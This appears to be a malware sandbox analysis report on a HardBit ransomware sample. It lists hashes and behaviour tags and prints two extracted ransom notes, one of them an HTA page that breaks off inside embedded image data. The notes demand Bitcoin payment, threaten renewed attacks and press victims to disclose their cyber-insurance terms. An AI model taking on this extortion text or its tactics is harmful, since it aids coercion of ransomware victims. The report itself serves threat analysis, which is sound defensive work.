d418ca84ca4bb7db72d2b00f8d6225a57909e02f712c7b0e2d9cefb2e18d0737

Resubmissions

13-07-2024 09:54

240713-lxbx6swdmm 10

13-07-2024 09:50

240713-lvbvdsyapd 10

13-07-2024 09:46

240713-lr1dksyajd 10

Analysis

max time kernel
840s
max time network
842s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
13-07-2024 09:50

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7.exe
Size

353KB
MD5

74236c89b9fcb1194bcf19cf5920f3e3
SHA1

7954ff64d20eae792a36ca2cf10a17da35cfbf27
SHA256

8edaee2550dde9df1fe2e8c26965be3817f0d66ba13510ac281bfdc8dde1dde7
SHA512

fbf08ee1017ec6a497a468a5fcfb618bddab57b9bf087f1d478187410458e3922e9d48e9bb872098a0a912bcd3c096c11075ba8142df64cf3cdaaa833504ad83
SSDEEP

6144:G1/ZVevGFi0Xx6HQpNnCnoed+wBlO18eDKO3wexcXQVkcoHnq9Bx:WeUjNHCFkw3OCMpxcXiPoK9

Score

10^/10

defense_evasion evasion execution impact persistence ransomware trojan

Malware Config

Extracted

Path

C:\Users\Admin\Favorites\Links\How To Restore Your Files.txt

Ransom Note

_ _ _____ ___ ___ ___ _ _____ | | ( )| _ || _ \ ( _ \ ( _ \ (_)(_ _) | |_| || (_) || (_) )| | ) || (_) )| | | | | _ || _ || / | | | || _ ( | | | | | | | || | | || |\ \ | |_) || (_) )| | | | (_) |_||_| |_||_| (_)(____/ (____/ |_| |_| ¦¦¦¦¦HARDBIT RANSOMWARE¦¦¦¦¦ ---- what happened? All your files have been stolen and then encrypted. But don't worry, everything is safe and will be returned to you. ---- How can I get my files back? You have to pay us to get the files back. We don't have bank or paypal accounts, you only have to pay us via Bitcoin. ---- How can I buy bitcoins? You can buy bitcoins from all reputable sites in the world and send them to us. Just search how to buy bitcoins on the internet. Our suggestion is these sites. >>https://www.binance.com/en<< >>https://www.coinbase.com/<< >>https://localbitcoins.com/<< >>https://www.bybit.com/en-US/<< ---- What is your guarantee to restore files? Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will cooperate with us. Its not in our interests. To check the ability of returning files, you can send to us any 2 files with SIMPLE extensions(jpg,xls,doc, etc... not databases!) and low sizes(max 1 mb), we will decrypt them and send back to you. That is our guarantee. ---- How to contact with you? Or contact us by email:>>[email protected]<< or >>[email protected]<< ---- How will the payment process be after payment? After payment, we will send you the decryption tool along with the guide and we will be with you until the last file is decrypted. ---- What happens if I don't pay you? If you don't pay us, you will never have access to your files because the private key is only in our hands. This transaction is not important to us, but it is important to you, because not only do you not have access to your files, but you also lose time. And the more time passes, the more you will lose and If you do not pay the ransom, we will attack your company again in the future. ---- What are your recommendations? - Never change the name of the files, if you want to manipulate the files, make sure you make a backup of them. If there is a problem with the files, we are not responsible for it. - Never work with intermediary companies, because they charge more money from you. For example, if we ask you for 50,000 dollars, they will tell you 55,000 dollars. Don't be afraid of us, just call us. ---- Very important! For those who have cyber insurance against ransomware attacks. Insurance companies require you to keep your insurance information secret, this is to never pay the maximum amount specified in the contract or to pay nothing at all, disrupting negotiations. The insurance company will try to derail negotiations in any way they can so that they can later argue that you will be denied coverage because your insurance does not cover the ransom amount. For example your company is insured for 10 million dollars, while negotiating with your insurance agent about the ransom he will offer us the lowest possible amount, for example 100 thousand dollars, we will refuse the paltry amount and ask for example the amount of 15 million dollars, the insurance agent will never offer us the top threshold of your insurance of 10 million dollars. He will do anything to derail negotiations and refuse to pay us out completely and leave you alone with your problem. If you told us anonymously that your company was insured for $10 million and other important details regarding insurance coverage, we would not demand more than $10 million in correspondence with the insurance agent. That way you would have avoided a leak and decrypted your information. But since the sneaky insurance agent purposely negotiates so as not to pay for the insurance claim, only the insurance company wins in this situation. To avoid all this and get the money on the insurance, be sure to inform us anonymously about the availability and terms of insurance coverage, it benefits both you and us, but it does not benefit the insurance company. Poor multimillionaire insurers will not starve and will not become poorer from the payment of the maximum amount specified in the contract, because everyone knows that the contract is more expensive than money, so let them fulfill the conditions prescribed in your insurance contract, thanks to our interaction. -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Your ID :BFEBFBFF000206D7 Your Key :EV6xiycRGX85vdRuTFtKD83C8Dh8A0x0u/J0vvQWR3wMz04DTExyekIAT4aDuyGemzQrU4BkitLfPj8aXKPOVc9HPUKAZJ0IVqnWrw1WzYcW8mBXCMQOiOiB/zmm6rtKJHeEzlzeHMpVIoLFp/35umeOci1hYw1OU1pZWwV+Jr4=

Emails

email:>>[email protected]<<

>>[email protected]<<

Extracted

Path

C:\Users\Admin\Favorites\Links for United States\Help_me_for_Decrypt.hta

Ransom Note

<html><head> <title>HARDBIT2.0 </title> <HTA:APPLICATION ICON='msiexec.exe' WINDOWSTATE="maximize" SINGLEINSTANCE='yes' SysMenu="no" contextmenu="no" scroll="yes"/> <meta http-equiv="x-ua-compatible" content="IE=9"/> </head><style type="text/css"> body{background-color: #000000; font-family: Arial, Helvetica, sans-serif;}.header{text-align: center;}#t{color: #FF0000; font-weight: bold; font-size: 1.51vw; margin-bottom: 0;}p{font-size: 1vw; color: white; margin-bottom: 0;}.t{text-align: left; margin-left: 2px;}.pt{color: white; font-weight: bold; text-indent: 10px; height: 30px; line-height: 30px; padding-top: 10px; font-size: 1.1vw;}.b{padding: 2px; outline: none;}ul{font-size: 1vw;}.m{background: rgb(189, 54, 54); padding: 1px 5px; font-weight: bold;}#tm{color: red; border-bottom: 0; font-size: 2vw;}</style><body> <div class="header"> <img src="data:image/png;base64,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 AgCAIAgP//Z"><br><img src="data:image/png;base64,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 